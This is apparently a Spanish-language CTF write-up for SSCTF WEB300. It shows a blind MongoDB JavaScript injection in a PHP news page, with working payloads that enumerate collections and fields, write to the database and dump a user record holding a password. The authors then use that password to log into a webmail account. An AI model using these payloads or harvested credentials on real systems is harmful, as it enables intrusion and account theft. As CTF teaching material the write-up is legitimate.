Hola de nuevo, queridos fanboys! :*
Este finde fue el SSCTF (no, no eran nazis, eran chinos). Y aunque no tuvimos demasiados recursos al final resolvimos algunas pruebas (casi todas web, como no xD), entre ellas WEB300 donde nos llevamos el firstblood y nuestro nombre quedó inscrito para la posteridad.
La prueba era una web de noticias en PHP, con un parámetro vulnerable a inyección:
http://806bddce.seclover.com/news.php?newsid=4'%26%26(true)%26%26'4
http://806bddce.seclover.com/news.php?newsid=4'%26%26(false)%26%26'4
El problema es que no había manera de ejecutar funciones SQL (chr, ascii, substr...), y el =
no funcionaba, aunque sí lo hacían <, > y !=
. ¿Una blacklist muy hardcore? :S
Pero después de perder un buen rato con eso, se nos ocurrió que igual no era SQL, y efectivamente:
4'&&'1'=='1'.toString()&&'4
¡Bingo! Javascript en una página PHP, lo lógico es que esté tirando de MongoDB o algo así. Probablemente:
db.myCollection.find( { $where: function() { return obj.id == '4'; } } );
Así que podemos inyectar JS en Mongo y devolver true
o false
: Blind NoSQL injection.
Teoría: MongoDB es una base de datos NoSQL orientada a documentos. Básicamente en lugar de tablas tenemos collections de documentos, y estos documentos no son más que objetos Javascript con propiedades (cada objeto sería el equivalente a una fila, y las propiedades las columnas). Un detalle importante es que no hay schemas rigidos, lo que significa que los docs de una misma collection no tienen porque tener las mismas propiedades.
Dicho esto, lo primero es sacar el numero de collections:
4'&&(function(){return db.getCollectionNames().length})()==3&&'4
La consulta de arriba nos devuelve true
, y sabemos que system.indexes
está por defecto, así que nos falta sacar los nombres de las otras 2:
4'&&(function(){return db.getCollectionNames()[0].match(/^[a-z].*$/})()!=NULL&&'4
La idea aquí es ir haciendo una búsqueda binaria acotando el rango de caracteres en la regexp, y no hace falta probar mucho para ver que son nombres muy comunes:
news, user
Ahora vamos a hacer lo mismo para sacar las propiedades (o columnas) de los documentos en news
. Desafortunatamente Object.keys
y Object.getOwnPropertyNames
no funcionan, así que necesitamos iterar por el objecto con for-in
para sacar las keys (todos los docs tienen un _id
):
4'&&((function(){var+e=db.news.findOne(),l=[];for(var+i+in+e){l.push(i)};return+l.length})()==3)&&'4
Y de nuevo usamos la regexp para sacar los valores:
4'&&((function(){var+e=db.news.findOne(),l=[];for(var+i+in+e){l.push(i)};return+l[2].match(/^t.*$/)})()!=null)&&'4
Al final los documentos tienen las siguientes propiedades newsid
y title
.
Ahora viene la parte en que hay que automatizar el proceso para dumpear todo el contenido. Pero como no somos chinos vamos a tratar de escribir en la base de datos }:)
4'&&(db.news.insert({"newsid":69,"title":"foo"}))&&'4
Para ver si ha funcionado volvemos a sacar el número de docs que hay en el collection news
:
4'&&(db.news.find().length()>6)&&'4
Cosa curiosa aquí es que para los objetos que devuelve find()
, length
es un método en vez de un entero. Pero en cualquier caso vemos que ha cambiado, con que tenemos permisos de escritura:
4'%26%26((function(){db.news.update({"newsid":"6"},{"newsid":"6","title":tojson(db.user.find().toArray())});return+true})())%26%26'4
Ahora solo tenemos que visitar la página con el newsid=6
y premio! Nos aparece una noticia con la info como título:
[ { "_id" : ObjectId("56d1a9473a677cbf5d8b456d"), "Username" : "Admin", "Password" : "*&98*Hjhjyu", "Email" : "Loverctf@126.Com" } ]
Lo único es que había que tener cuidado porque es info que puede ver cualquiera. Así que después de consultarlo era importante resetearlo con algún título random:
4'%26%26((function(){db.news.update({"newsid":"6"},{"newsid":"6","title":"pwn3d"});return+true})())%26%26'4
Lo siguiente es ir a 126.com
, un webmail chino, loguearse con mail y password y en la bandeja encontramos el flag :)
SSCTF{057ef83ac5e46d137a8941712d5fffc2}
Y esto es todo. Saulu2!
No hay comentarios